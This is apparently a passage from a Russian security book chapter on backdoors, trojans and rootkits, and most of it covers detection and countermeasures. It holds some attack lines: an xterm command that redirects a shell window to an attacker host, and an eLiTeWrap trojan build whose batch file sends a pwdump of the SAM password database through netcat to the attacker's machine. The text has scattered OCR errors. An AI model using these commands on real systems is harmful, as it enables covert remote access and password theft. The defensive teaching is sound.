Пакет VNC разработан в лаборатории AT&T Laboratories Кембриджского университета, и, несомненно, является лучшим бесплатным графическим средством удаленного управления. В главе 5 было показано, как легко инсталлировать эту программу в Windows NT через удаленное сетевое соединение. Для этого нужно лишь установить службу VNC из командной строки, сделав перед этим единственное изменение в системном реестре, чтобы обеспечить ее скрытный запуск (версии выше 3.3.2 помешают пиктограмму на панель задач и могут быть легко обнаружены пользователями, которые зарегистрировались интерактивно). Конечно же, независимо от версии или выбранного режима процесс winVNC. EXE будет отображен в списке процессов.

Взлом X Windows и других графических терминальных служб



На узлах UNIX, на которых не ограничивается исходящий трафик приложения xtenn (TCP 6000). можно модифицировать некоторые из приведенных ранее методов перенаправления портов, чтобы "захватить" окно терминала и перенаправить таким образом оконную командную оболочку обратно на компьютер взломщика. Для этого достаточно запустить Х-сервер, а затем ввести следующую команду. 

xterrn -display attacker.соm:0.О&

С системой Windows придется повозиться немного больше. Не остается ничего другого, как воспользоваться такими продуктами, как Windows Terminal Server или Independent Computing Architecture (ICA) компании Citrix (http://www.citrix.com). С помощью этих компонентов можно организовать конвейер, связывающий удаленный рабочий стол с компьютером взломщика. В отличие от системы NT4, в Windows 2000 терминальный сервер является встроенным компонентом, который входит в комплект поставки. Так что почти наверняка он окажется доступным. Чтобы определить, установлены ли на взломанном удаленном узле терминальные службы, можно воспользоваться утилитой sclist из набора NTRK. После этого с помощью привилегированной учетной записи нужно установить соединение. Ниже показан пример использования утилиты sciist (для краткости полученный листинг сокращен).

D:\Toclbox>sclist athena
- Service list for ath'ena
running Alerter Alerter
running TermService Terminal Services
running TerrriServLicensing Terminal Services Licensing
stopped TFTFD Trivial FTP Daemon
stopped TlntSvr Telnet

Если оказалось, что на удаленном узле установлены также средства Terminal Services Licensing, то его можно настроить для работы в режиме сервера приложений, а не в режиме сервера удаленного управления. Это может принести взломщику определенную выгоду (компания Microsoft советует устанавливать сервер лицензирования и терминальный сервер на разные компьютеры).

Общие контрмеры против "потайных ходов": профилактический осмотр



Вы познакомились с многочисленными средствами и методами, к которым прибегают взломщики для создания "потайных ходов". Как же администратор может обнаружить и нейтрализовать оставленные взломщиками следы?

Средства автоматизации



Как говорится, легче предотвратить, чем обезвредить. Многие современные коммерческие антивирусные программные продукты неплохо работают, автоматически сканируя систему в поисках таких программ. Зачастую они нейтрализуют опасность еще до того, как будет причинен реальный вред (например, до получения доступа к дисководу для гибких дисков или до загрузки вложения электронного сообщения). Достаточно полный перечень производителей антивирусных программ можно найти в статье Q49500 базы знаний компании Microsoft по адресу http://support.microsoft.com/support/ kb/articles/Q49/5/00.ASP.
Недорогая программа The Cleaner, распространяемая компанией MooSoft Development, способна идентифицировать и обезвредить более тысячи различных видов программ типа "троянский конь" (во всяком случае так говорится в рекламных материалах). Для получения более подробной информации обратитесь по адресу http: //www. moosoft.com/сleaner.html.
При выборе программы удостоверьтесь, что она способна выполнять поиск по таким важным критериям, как двоичные подписи и параметры системного реестра. Это бывает полезно, если взломщики-тугодумы не догадались внести соответствующие изменения и скрыть свое присутствие. Нужно помнить также о том, что антивирусные программы окажутся эффективными только в том случае, если их базы данных постоянно обновляются!

Ведение учета



Предположим, что все принятые меры предосторожности не помогли и система все же оказалась взломанной. В такой ситуации единственным оружием против почти всех описанных ранее приемов создания "потайных ходов" является бдительность. Со стороны администратора было бы разумным вести всесторонний учет состояния системы и продумать, где можно быстро разместить надежные данные для восстановления системы. Мы настоятельно рекомендуем выполнять инвентаризацию наиболее важных систем, регистрируя данные как о начальной установке, так и о каждом их обновлении.
Отслеживание состояния системы в быстро меняющихся условиях, особенно на персональных рабочих станциях, может оказаться довольно утомительным занятием. А вот на относительно статичных рабочих серверах подобный учет может стать полезным подспорьем в процессе проверки целостности узла, который, вероятно, подвергся нападению. Упростить эту задачу помогают инструменты отображения состояния системы, которые будут рассматриваться ниже в этой главе. В оставшейся части данного раздела обсуждаются методы отслеживания изменений системы "вручную", которые не требуют дополнительных затрат (многие из них доступны в большинстве систем). Если еше до вторжения последовать простым рекомендациям, приведенным ниже, то после взлома будет гораздо легче понять, что же произошло. Многие из этих методов полезно применить и после нападения, в качестве следственного эксперимента.

Кто прослушивает порты



Возможно, это очевидно, но никогда не стоит недооценивать мощь утилиты netstat. которая позволяет выявить факт прослушивания портов программами, которые аналогичны рассмотренным выше. Следующий пример демонстрирует полезность этого инструмента (для краткости приводится не весь листинг).

D:\Toolbox>netstat-an
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:54320 0.0.0.0:0 LISTENING
TCP 192.168.234.36:139 0.0.0.0:0 LISTENING
UDP 0.0.0.0:31337 *:*

Интересно, догадается ли читатель, что в приведенном фрагменте не согласуется с изложенными выше фактами?
Единственный недостаток программы netstat заключается в том, что она не сообщает о процессе, который прослушивает тот или иной порт. В системах Windows NT и 2000 с этой же задачей прекрасно справляется программа fport компании Foundstone, Inc.

D:\Toolbox>fport
fPort - Process port mapper Copyright (c) 2000, Foundstone, Inc.
http://www.foundstone.com
PID NAME TYPE PORT
222 IEXPLORE UDP 1033
224 OUTLOOK UDP 1107
224 OUTLOOK UDP 1108
224 OUTLOOK TCP 1105
224 OUTLOOK UDP 1106
224 OUTLOOK UDP 0
245 MAPISP32 UDP 0
266 nc TCP 2222

Из приведенного листинга видно, что порт с номером 2222 прослушивается утилитой netcat. А при использовании программы netstat можно было бы узнать только номер прослушиваемого порта.
Для сканирования больших сетей и поиска программ прослушивания лучше всего использовать программы-сканеры портов или сетевые средства, которые обсуждались в главе 2.
Какой бы метод обнаружения прослушиваемых портов не использовался, его результат будет довольно трудно интерпретировать, если вы не знаете, что именно нужно найти. В табл. 14.1 приведен перечень наиболее красноречивых признаков наличия программного обеспечения удаленного управления.
Если на каком-либо узле обнаружено прослушивание приведенных в таблице портов, то это верный признак того, что он подвергся нападению либо по злому умыслу хакера либо из-за неосторожности самого администратора. Следует проявлять бдительность также и по отношению к другим портам, которые на первый взгляд кажутся обычными. Во многих из перечисленных средств можно изменять номер прослушиваемого порта (см. таблицу). Чтобы убедиться, что доступ к этим портам из Internet ограничен, нужно использовать устройства обеспечения безопасности на границе сети.

Удаление подозрительных процессов



Еще одна возможность выявления "потайного хода" заключается в проверке списка процессов на наличие в нем таких исполняемых файлов, как nc, WinVNC. exe и т.д. Для этого в системе NT можно использовать утилиту pulist из набора NTRK, которая выводит все запущенные процессы, или sclist, показывающую работающие службы.

Таблица 14.1. Номера портов, используемые программами и удаленного управления при создании "потайных ходов"

"Потайной ход"
Порт TCP, используемый по умолчанию
Порт UDP, используемый по умолчанию
Возможность использования альтернативных портов
Remote.exe
135-139
135-139
Нет
Netcat
Любой
Любой
Да
Loki
Не используется
Не используется
Не используется
Реверсивный telnet-сеанс
Любой
Не используется
Да
Back Orifice
Не используется
31337
Да
Back Orifice 2000
54320
54321
Да
NetBus
12345
Не используется
Да
Masters Paradise
40421,40422,40426
Не используется
Да
pcAnywhere
22,5631,5632,65301
22, 5632
Нет
ReachOut
43188
Нет
Нет
Remotely Anywhere
2000, 2001
Нет
Да
Remotely
799, 800
800
Да
Possible/ControllT



Timbuktu
407
407
Нет
VNC
5800, 5801
Нет
Да
Windows Terminal Server
3389
3389
Нет
NetMeeting Remote Desktop Control
49608, 49609
49608, 49609
Нет
Citrix ICA
1494
1494
Нет

Команды pulist и sclist просты в использовании. Их удобно применять в файлах сценариев для автоматизации процесса тестирования как на локальной системе, так и в сети. В качестве примера приведем список процессов, выводимый программой pulist.

С:\nt\ew>pulist
Process PID User
Idle 0
System 2
smss.exe 24 NT AUTHORITYXSYSTEM
CSRSS.EXE 32 NT AUTHORITYXSYSTEM
WINLOGON.EXE 38 NT AUTHORITYXSYSTEM
SERVICES.EXE 46 NT AUTHORITYXSYSTEM
LSASS.EXE 49 NT AUTHORITYXSYSTEM
CMD.EXE 295 TOGA\administrator
nfrbof.exe , 265 TOGA\administrator
UEDIT32.EXE 313 TOGA\administrator
NTVDM.EXE 267 TOGA\administrator
PULIST.EXE 309 TOGA\administrator
C:XntXew>

В следующем примере с помощью утилиты sclist был получен список работающих на удаленном узле служб.

C:\nt\ew>sclist \\172.29.11.191
---------------
- Service list for \\172.29.11.191
---------------
running Alerter Alerter
running Browser Computer Browser
stopped ClipSrv ClipBook Server
running DHCP DHCP Client
running EventLog EventLog
running LanraanServer Server
running LanmanWorkstation Workstation
running LicenseService License Logging Service
stopped Schedule Schedule
running Spooler Spooler
stopped TapiSrv Telephony Service
topped UPS UPS

В системе UNIX для аналогичных целей можно использовать команду ps. В каждой версии UNIX имеются свои особенности использования этой команды. В Linux она выглядит как ps -aux, а в Solaris — ps -ef. Эти команды могут и должны быть применены при создании сценариев, служащих для получения отчета об изменениях в списке активных процессов. В число других замечательных инструментов системы UNIX, позволяющих получить соответствие между службами и запущенными процессами, входят программы Isof , которую можно применять в большинстве версий, и sockstat для FreeBSD. Вот пример результатов работы этих утилит.

[crush] lsof -i
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
syslogd 111 root 4u IPv4 Oxc5818fOO OtO UDP *:syslog
dhcpd 183 root 7u IPv4 Oxc5818e40 OtO UDP *:bootps
dhcpd 183 root lOu IPv4 Oxc5bc2fOO OtO ICMP *:*
sshd 195 root 3u IPv4 Oxc58d9d80 OtO TCP *:ssh (LISTEN)
sshd 1062 root 4u IPv4 OxcSSdaSCO OtO TCP crush:ssh-
>192. 168.1.101:2420 (ESTABLISHED)
Xaccel 1165 root 3u IPv4 Oxc58dad80 OtO TCP *:6000 (LISTEN)
gnome-ses 1166 root 3u IPv4 Oxc58dab60 OtO TCP *:1043 (LISTEN)
panel 1201 root 5u IPv4 Oxc58da940 OtO TCP *:1046 (LISTEN)
gnome-nam 1213 root 4u IPv4 Oxc58da2eO OtO TCP *:1048 (LISTEN)
genj.itil_ 1220 root 4u IPv4 Oxc58dbd80 OtO TCP *:1051(LISTEN)
sshd " 1245 root 4u IPv4 Oxc58da720 OtOTCP crush:ssh-
>192.163.I.101:2642 (ESTABLISHED)
[crush] sockstat
USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS
root sshd 1245 4 tcp4 10.1.1.1.22 192.168.1.101.2642
root genjjtil 1220 4 tcp4 *.1051 *.*
root gnome-na 1213 4 tcp4 *.1048 *.*
root panel 1201 5 tcp4 *.1046 *.*
root gnome-se 1166 3 tcp4 *.1043 *.*
root Xaccel 1165 3 tcp4 *.6000 *.*
root sshd 1062 4 tcp4 10.1.1.1.22 192.168.1.101.2420
root sshd 195 3 tcp4 *.22 *.*
root dhcpd 183 7 udp4 *.67 *.+
root syslogd 111 4 udp4 *.514 *.*

Конечно же, поскольку большинство из рассмотренных выше программ может быть переименовано, без инвентаризации системы и приложений как при их начальной установке, так и при последующих обновлениях, "потайной ход" будет трудно обнаружить (нам кажется, что об этом говорилось уже достаточно).

Отслеживание изменений файловой системы



Для перегруженных работой администраторов сама мысль о регулярном обновлении полного списка файлов и каталогов может показаться безумной, поскольку это требует намного больших затрат, чем все предыдущие рекомендации. В то же время, если состояние системы изменяется не очень часто, такой учет является самым надежным методом выявления следов злоумышленников.
В системе Novell для отслеживания изменений в размерах файлов, времени последнего обращения и других атрибутов можно воспользоваться командой ndir. В системе UNIX можно написать сценарий, содержащий команду Is -la, который будет записывать имя каждого файла и его размер. В Windows при использовании команды dir выводится время последнего изменения, время последнего обращения к файлу, а также ею размер. Для ведения каталога файлов без изменения времени доступа к ним можно порекомендовать утилиты a find, hfind и sfind компании NTObjectives. Помимо прочих достоинств, эти программы позволяют идентифицировать скрытые файлы, а также выявлять потоки данных внутри файлов. Для аудита файлов в системах NT/2000 можно использовать также встроенные возможности файловой системы NTFS. Просто щелкните правой кнопкой мыши на нужном файле или каталоге, выберите команду Security, щелкните на кнопке Auditing, и установите требуемые параметры для каждого пользователя или группы.
В Windows 2000 появилась подсистема защиты файлов (WFP — Windows File Protection), обеспечивающая защиту системных файлов от перезаписи (к ним относится около 640 файлов из каталога %systemroot%). Интересный побочный эффект этого нововведения состоит в том, что хэш-коды SHA-1 этих важных файлов содержатся в файле каталога %systemroot%\system32\dllcache\nt5.cat. Поэтому, сравнивая эталонные хэш-коды с хэш-кодами текущих системных файлов, можно проверить их целостность. Такую проверку можно выполнить с использованием средства верификации сигнатуры файлов (File Signature Verification, sigverif.exe). Для этого щелкните на кнопке Advanced, перейдите во вкладку Logging и установите режим Append То Existing Log File, чтобы новые результаты можно было сравнивать с полученными ранее. Однако нужно иметь в виду, что в режиме. WFP сигнатура, скорее всего, не связывается с каждым отдельным файлом. Как отметил в мае 2000 года Рус Купер (Russ Cooper), подсистема защиты WFP не замечает копирования одного из "помеченных" файлов поверх другого (например, незамеченным останется копирование notepad.exe поверх wscript.exe). В процессе тестирования поверх файла wscript.exe мы скопировали файл, не являющийся системным, и утилита sigverif все равно подтвердила его целостность! Поэтому лучше пока не полагаться на эти новые средства, пока не будут разгаданы причины такого странного поведения.
Среди средств сторонних производителей можно упомянуть программу проверки целостности файлов MDSsum. Она входит в состав пакета Textutils, который распространяется в рамках общей лицензии GNU.  Версию, скомпилированную для системы Windows, можно найти по адресу http://sourceware.cygnus.com/cygwin/. Утилита MDSsum на основе распространенного алгоритма MD5, разработанного Роном Ривестом (Ron Rivest) из лаборатории компьютерных наук Массачусетского технологического института, позволяет вычислить или проверить профильное сообщение (message digest) файла длиной 128 бит. Описание программы приведено в документе RFC 1321. В следующем примере показано, как программа MDSsum генерирует контрольную сумму файла test, txt, а затем выполняет ее проверку.

D:\Toolbox>md5sum d:\test.txt>d:\test.md5
D:\Toolbox>cat d:\test.md5
efd3907b04b037774d831596f2clbl4a d:\Xtest.txt
D:\Toolbox>md5sum --check d:\test.md5
d:\Xtest.txt: OK

К сожалению, программа MDSsum одновременно обрабатывает только один файл (конечно, написав сценарий, это можно исправить). В число более эффективных средств выявления вторжений в файловую систему входит старая программа Tripwire, которую можно найти по адресу http://www.tripwire.com.
Следует упомянуть и несколько других важных утилит, предназначенных для проверки содержимого двоичных файлов. К ним относится известная программа strings, которая работает как в системе UNIX, так и в Windows, BinText Робина Кайра (Robin Keir) для Windowsи UltraEdit32 для Windows .
И наконец, при инвентаризации файловой системы очевидным шагом является поиск легко узнаваемых исполняемых файлов, обеспечивающих "потайной ход", а также используемых ими библиотек. Поскольку большинство из этих инструментов может быть переименовано, такая процедура обычно не приносит пользы, но устранение очевидных изъянов — это уже половина успеха в битве за обеспечение безопасности сети. В табл. 14.2 приведен список наиболее важных файлов, при обнаружении которых нужно принимать меры, описанные в этой главе.

Таблица 1 4.2. Используемые пo умолчанию имена исполняемых файлов утилит удаленногоуправления

"Потайной ход"
Имя файла(ов)
Возможность переименовать
remote (NT)
remote . ехе
Есть
netcat (UNIX и NT)
пс И пс . ехе
Есть
rinetd
rinetd, rinetd.exe
Есть
Утилиты туннелирования пакетов 1СМР и UDP
loki И lokid
Есть
Back Orifice
[пробел] .ехе, boserve.exe, boconfig.exe
Есть
Back Orifice 2000
bo2k.exe, bo2kcfg.exe, bo2kgui.exe, UMGR32 . EXE, bo_peep. dll, bo3des . dll
Есть
NetBus
patch . exe, NBSvr . exe, KeyHook . dll
Есть
Virtual Network Computing for Windows (WinVNC)
WinVNC . EXE, VNCHooks . DLL, И OMNITHKEAD_RT.DLL
Нет
Linux Rootkit (LRK)
Irk
Есть
NT/2000 Rootkit
deploy . exe и _root_ . sys
Нет в сборке 0.31 а

Загрузочный файл и параметры системного реестра



Взломщикам было бы неинтересно создавать "потайной ход", если бы после обычной перезагрузки системы или после удаления администратором какой-нибудь необходимой службы, они не имели бы возможности возобновить соединение. Это можно обеспечить, поместив в основных конфигурационных файлах или в системном реестре ссылки на средства создания "потайного хода". Фактически для функционирования многих из упомянутых программ требуется наличие в системном реестре определенных параметров, что значительно облегчает их идентификацию и удаление.
Программа Back Orifice добавляет запись в поддерево системного реестра HKEY_LOCAL_MACHINE\Software\ Microsoft\Windows\CurrentVersion\RunServices\. При установке по умолчанию в системном реестре параметру (Default) присваивается значение " .ехе" ([пробел] .ехе), являющееся принятым по умолчанию именем исполняемого файла сервера ВО, помещенного в каталог C:\windows\system. При установке пакета ВО2К исполняемый файл переименовывается в UMGR32 .ЕХЕ и в системе Win 9x копируется в каталог С: \windows\system. а в NT/2000 — в каталог С: \winnt\system32. Конечно же, взломщик может изменить эти параметры по своему усмотрению. Если какие-либо параметры системного реестра ссылаются на файл размером около 124,928 байт, то существует вероятность, что это файл ВО. Файл ВО2К имеет размер 114,688 байт. 
Последняя версия программы NetBus добавляет несколько параметров в поддерево HKEY_LOCAL_MACHlNE\SOFTWARE\Net Solutions\NetBus Server, однако самый важ-ный ключ создается в HKEY_LOCAL_MACHlNE\Software\ Microsoft\Windows\CurrentVersionXRun. Он ссылается на исполняемый файл сервера (в более ранних версиях по умолчанию этот файл называется SysEdit, но взломщик может его изменить).
Пакет WinVNC создает ключ HKEY_USERS\ .DEFAULT\Software\ORL\winVNC3.
В системе UNIX опасные демоны нужно искать в различных файлах rс, а также в файле /etc/inetd.conf.

Аудит, проверка учетных записей и ведение журналов регистрации



Это последняя по порядку, но не по степени важности, контрмера, поскольку невозможно идентифицировать вторжение, если не активизированы средства оповещения. Убедитесь, что подключены встроенные возможности аудита. Например, в NT политику аудита можно настроить с помощью диспетчера пользователей, а в 2000 — с использованием аплета Security Policy. To же самое можно осуществить с помощью утилиты auditpol из набора NTRK. Файловая система NTFS позволяет отслеживать доступ на уровне отдельных файлов. Для этого в окне проводника Windows щелкните правой кнопкой мыши на требуемой папке или на файле, выберите команду Properties, перейдите во вкладку Security, щелкните на кнопке Auditing и настройте нужные параметры.

Известно, что в системе NT4 ведение полного аудита приводит к снижению производительности, поэтому многие не пользовались этой возможностью. Однако тестирование Windows 2000 показало, что в этой операционной системе в режиме аудита потребление ресурсов значительно снижено и замедление ее работы неощутимо даже при использовании всех предоставляемых возможностей.

Конечно, если журнал регистрации не просматривается регулярно, если его содержимое удаляется из-за недостатка свободного пространства на диске или из-за плохой организации, то даже самый полный аудит окажется бесполезным. Однажды мы посетили Web-узел, который был предупрежден об атаке еще за два месяца до ее реализации. И это случилось только благодаря тому, что некоторые системные администраторы старательно вели журналы регистрации. Чтобы не потерять такую важную информацию, разработайте политику регулярного архивирования журналов регистрации. Многие компании регулярно импортируют их в базы данных, чтобы облегчить процесс поиска и автоматизировать систему оповещения об опасности.
Кроме того, внимательно следите за необъяснимыми изменениями учетных записей. Здесь могут пригодиться программы сторонних производителей, позволяющие получить "мгновенный снимок" системы. Например, программы DumpSec (ее предыдущая версия называется DumpACL), DumpReg и DumtEvt компании Somarsoft (http://www.-somarsoft.com) предоставляют практически всю нужную информацию о системах NT/2000. Запуск этих утилит выполняется из командной строки. 


1.gif

Изображение: 

2.gif

Изображение: 

3.gif

Изображение: 

4.gif

Изображение: 

5.gif

Изображение: 

4. Программы типа "троянский конь"



Программы типа "троянский конь"


Как уже упоминалось во введении, "троянский конь" — это программа, которая для вида выполняет какие-нибудь полезные действия, однако на самом деле предназначена совсем для других (зачастую злонамеренных) действий или скрытно устанавливает коварные или разрушительные программы. Многие из рассмотренных выше средств создания "потайных ходов" могут быть помещены во внешне безобидные пакеты, так что конечные пользователи даже не смогут догадаться о том, насколько опасные программы установлены на их компьютерах. В качестве другого примера можно привести коварную программу, маскирующуюся под файл netstat. Эта программа, в отличие от настоящей утилиты netstat, намеренно не показывает некоторые прослушиваемые порты, тем самым скрывая наличие "потайного хода". Ниже вы познакомитесь еще с несколькими примерами программ типа "троянский конь", таких как FPWNCLNT. DLL и "наборы отмычек".
Whack-A-Mole
Популярным средством внедрения программы NetBus является игра под названием Whack-A-Mole. Сама игра представляет собой один исполняемый файл с именем whackamole.exe, который является самораспаковывающимся архивом WinZip. При установке игры Whack-A-Mole устанавливается и сервер NetBus с именем explore.exe, а в поддереве системного реестра HKLM\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run создается соответствующий ключ, ссылающийся на этот исполняемый файл. После этого сервер NetBus будет запускаться при каждой загрузке системы (обратите внимание на имя explore). Все эти действия выполняются довольно незаметно и происходят после появления на экране небольшой привлекательной игры под названием Whack-A-Mole.

BoSniffer



Что может быть лучше, чем инфицирование какой-нибудь системы с помощью программы, предназначенной для поиска "потайных ходов"? Утилита BoSniffer, которая вроде бы призвана выявлять Back Orifice, на самом деле является замаскированной ВО. Так что соблюдайте осторожность при использовании подобных бесплатных средств... К счастью, эту программу можно удалить точно так же, как и обычный сервер ВО (см. разделы выше).

eLiTeWrap



Очень популярной программой типа "троянский конь" является eLiTeWrap. Она предназначена для "упаковки" многочисленных файлов в один исполняемый файл и последующей их распаковки либо запуска на удаленном узле. Как видно из следующего примера, в такую "обертку" можно поместить также сценарии, что позволяет взломщикам реализовать неповторимые атаки. 

С:\nt\ew>elitewrap
eLiTeWrap 1.03 - (С) Tom "eLiTe"
Mclntyre tomSdundeecake.demon.со.uk
http://www.dundeecake.demon.co.uk/elitewrap
Stub size: 7712 bytes Enter name of output file: bad.exe
Operations: 1 - Pack only
2 - Pack and execute, visible, asynchronously
3 - Pack and execute, hidden, asynchronously
4 - Pack and execute, visible, synchronously
5 - Pack and execute, hidden, synchronously
6 - Execute only, visible, asynchronously
7 - Execute only, hidden, asynchronously
8 - Execute only, visible, synchronously
9 - Execute only, hidden, synchronously
Enter package file #1: c:\nt\pwdump.exe
Enter operation: 1 Enter package file#2:c:\nt\nc.exe
Enter operation: 1
Enter package file #3: c:\nt\ew\attack.bat
Enter operation: 7
Enter command line:
Enter package file #4:
All done :)

Теперь в распоряжении взломщика появился файл с именем bad.exe. При запуске из него будут извлечены утилиты pwdump.exe, netcat (nc.exe), а затем запустится командный файл attack.bat, в котором содержится простая команда, например pwdump i nc.exe -n 192.168.1.1 3000. В результате база данных SAM системы NT попадет на компьютер взломщика (192 .168 .1.1, на котором утилиту netcat следует настроить на прослушивание порта 3000).
Программу eLiTeWrap можно обнаружить, если из исполняемого файла взломщик забыл удалить ее сигнатуру. Следующая команда поиска позволит найти сигнатуру в любом файле .ЕХЕ.

С:\nt\ew>find "eLiTeWrap" bad.exe
---BAD.EXE
eLiTeWrap VI.03

Ключевое слово "eLiTeWrap" может измениться, поэтому при выявлении программы eLiTeWrap не следует полностью полагаться на этот признак.

Библиотека FPWNCLNT . DLL для Windows NT



Одна из тайных задач программ типа "троянский конь" состоит в их маскировке под системный компонент регистрации в системе и захвате имен/паролей пользователей. Одним из примеров реализации такого подхода является библиотека FPNWCLNT.DLL, устанавливаемая на серверы NT, на которых требуется выполнять синхронизацию паролей с системами Novell NetWare. Эта библиотека перехватывает изменения паролей перед тем, как они будут зашифрованы и записаны в базу данных SAM, что позволяет службам NetWare получить пароли в удобочитаемом виде, обеспечивая тем самым единую форму регистрации.
В Internet был помещен код, позволяющий регистрировать факты изменения паролей и заносить сведения об этих изменениях (а не сами пароли) в файл C:\TEMP\PWDCHANGE. OUT. (Более подробную информацию и пример кода можно найти по адресу http://www.ntsecurity.net/security/passworddll.htm.) Хотя эта программа позволяет отслеживать только изменение паролей, ее легко модифицировать так, чтобы с ее помощью можно было захватывать и сами пароли в обычном текстовом формате.

Контрмеры



Если нет необходимости в синхронизации паролей между системами NT и NetWare, удалите файл FPNWCLNT.DLL из каталога %systemroot*\system32. Следует проверить также поддерево системного реестра HKEY_LOCAL_MACKINE\SYSTEM\CurrentControlSet\ Control\Lsa\Notificaion Packages (REG_MULTI_SZ) и удалить из него строку FPNWCLNT. Если эта динамически подключаемая библиотека все же необходима для работы в смешанной среде, сравните атрибуты используемого файла с атрибутами его проверенной копии (например, содержащейся на установочном компакт-диске) и убедитесь, что это исходная версия компании Microsoft. Если возникли какие-то сомнения, лучше восстановить данный файл с проверенного носителя.


5. Разрушение системного окружения: "наборы отмычек" и средства создания образа состояния системы



Разрушение системного окружения: "наборы отмычек" и средства создания образа состояния системы


До сих пор речь шла о многочисленных способах размещения в системе скрытых ловушек, чтобы обычные пользователи даже и не догадывались о том, что же происходит на самом деле. Многие представленные концепции касались средств, работающих под видом обычных программ (несмотря на зловредность выполняемых ими действий), которые скрывались в таких местах, где их легко найти. К сожалению, взломщики способны на более зловредные поступки, в чем вы очень скоро убедитесь. Из-за того, что профессиональное знание архитектуры операционных систем в настоящее время стало нормой, полное нарушение целостности системы становится тривиальной задачей.

"Наборы отмычек"



Что произойдет, если под контролем взломщика окажется сам код операционной системы? Предпосылки такого подхода появились еще в те времена, когда компиляция ядра UNIX иногда выполнялась еженедельно, если система плохо была настроена или находилась на началъном этапе установки. Естественно, что наборы программ, которые вместо обычных двоичных файлов операционной системы встраивают компоненты типа "троянский конь", получили название "наборов отмычек". Такие средства обеспечивают самую большую дискредитацию взламываемого компьютера. В главе 8 были описаны "наборы отмычек", предназначенные для системы UNIX, которые обычно состоят из четырех групп инструментов, адаптированных под конкретную платформу и версию операционной системы: (1) программы типа "троянский конь", например такие, как измененные версии login, netstat и ps; (2) программы, предназначенные для создания "потайных ходов", например вставки в файл inetd; (3) программы перехвата потока данных в сети; (4) программы очистки системных журналов.
Существует огромное множество "наборов отмычек" для системы UNIX. Для того чтобы убедиться в этом, достаточно заглянуть только на один Web-узел, находящийся по адресу http://packetstorm.security.com/UNIX/penetration/rootkits/. Еще несколько подобных наборов можно найти на этом же Web-узле по адресу /UNIX/misc. По-видимому, одним из наиболее известных является "набор отмычек" для системы Linux версии 5, в который входит несколько модифицированных версий основных утилит, включая su, ssh и несколько анализаторов сетевых пакетов.
Чтобы не отставать, операционная система Windows NT/2000 в 1999 году тоже "обзавелась" своим собственным набором аналогичных средств. Это случилось благодаря группе хакеров Грега Хогланда (Greg Hoglund). Грег застал врасплох сообщество Windows, продемонстрировав рабочий прототип таких инструментов, который способен выполнять сокрытие параметров системного реестра и "подмену" исполняемых файлов. Этот набор можно использовать в исполняемых файлах типа "троянский конь" без изменения их содержимого. Все эти трюки основываются на использовании перехвата функций (function hooking). Таким образом можно "модифицировать" ядро NT, в результате чего будут захвачены системные вызовы. С помощью "набора отмычек" можно скрыть процесс, параметр системного реестра или файл, а также перенаправить перехваченный вызов функциям программ типа "троянский конь". Полученный результат способен превзойти ожидания от внедрения обычных "троянских коней": пользователь не может быть уверен даже в целостности исполняемого кода.

Контрмеры против "наборов отмычек"



Если оказалось, что нельзя доверять даже командам Is или dir, значит, пришло время признать себя побежденным: создайте резервные копии важных данных (но только не двоичных файлов!), удалите все программное обеспечение, а затем переустановите его с проверенных носителей. Не следует особо надеяться на резервные копии, поскольку абсолютно неизвестно, когда именно взломщик пробрался в систему. После восстановления программное обеспечение также может оказаться "троянизированным".
Важно не забывать одно из золотых правил обеспечения безопасности и восстановления после сбоев: известные состояния (known states) и повторяемость (repeatability). Производственные системы зачастую должны быть быстро переустановлены, так что хорошо документированная и достаточно автоматизированная процедура установки позволит сэкономить много времени. Наличие проверенных носителей, готовых для выполнения процедуры восстановления, также достаточно важно. Если под рукой имеется компакт-диск с полностью сконфигурированным образом Web-сервера, то выигрыш во времени окажется еще более значительным. Другим хорошим приемом является документирование процесса настройки производственного режима эксплуатации, а не промежуточного режима, поскольку в процессе построения системы или ее обслуживания могут появиться изъяны в системе защиты (появление новых совместно используемых ресурсов и т.д.). Убедитесь, что в вашем распоряжении имеется контрольный список или автоматизированный сценарий возврата в производственный режим.
Подсчет контрольных сумм также оказывается хорошей защитой против использования "наборов отмычек", однако этот прием нужно применять к системе в исходном состоянии. Средства, подобные свободно распространяемой утилите MD5sum или программе Tripwire, которая рассматривалась выше, способны "снимать" образы файлов и уведомлять о нарушении их целостности при возникновении изменений. Перенаправление исполняемых файлов, выполняемое "набором отмычек" системы NT/2000, теоретически может нейтрализовать подсчет контрольных сумм. Однако поскольку код при этом не изменяется, но в то же время "захватывается" и передается через другую программу, то такой прецедент все же можно выявить.
В момент написания этой книги "набор отмычек" систем NT/2000 по-прежнему оставался на стадии альфа-версии и в основном предназначался для демонстрации наиболее важных особенностей, а не для реального применения. Так что его легко обнаружить. Просто проверьте наличие файлов deploy.exe и _root_.sys. Запуск и остановку этих средств можно выполнить с помощью команды net:

net start_root_ net stop_root_

He упускайте из вида такие наиболее опасные компоненты "наборов отмычек", как программы-анализаторы сетевых пакетов. Эти средства перехвата данных обладают особым коварством, поскольку способны "на лету" перехватывать сетевой трафик в процессе выполнения обычных операций.
При передаче информации по сети используйте механизмы шифрования, такие как сервер SSH (Secure Shell), протокол SSL (Secure Sockets Layer), шифрование почтовых сообщений POP (Pretty Good Privacy) или шифрование на уровне IP, которое обеспечивается при реализации виртуальных частных сетей на базе протокола IPSec (см. главу 9). Это надежные средства защиты от атак, направленных на перехват пакетов. Использование сетей с коммутируемой архитектурой и виртуальных локальных сетей может значительно снизить риск взлома, однако при использовании таких средств, как утилита dsniff, нельзя предоставить никаких гарантий, (см. главу 8).

Создание образа системного окружения для нейтрализации механизма проверки контрольных сумм



Существует несколько средств для создания зеркального образа системных томов (табл. 14.3). Эти мощные утилиты помогают сэкономить время и при возникновении внештатной ситуации могут оказаться просто незаменимыми. Однако их побитовая точность фиксирования состояния системы может быть использована для того, чтобы обвести вокруг пальца механизмы обеспечения безопасности, основанные на проверке контрольных сумм текущих системных данных.
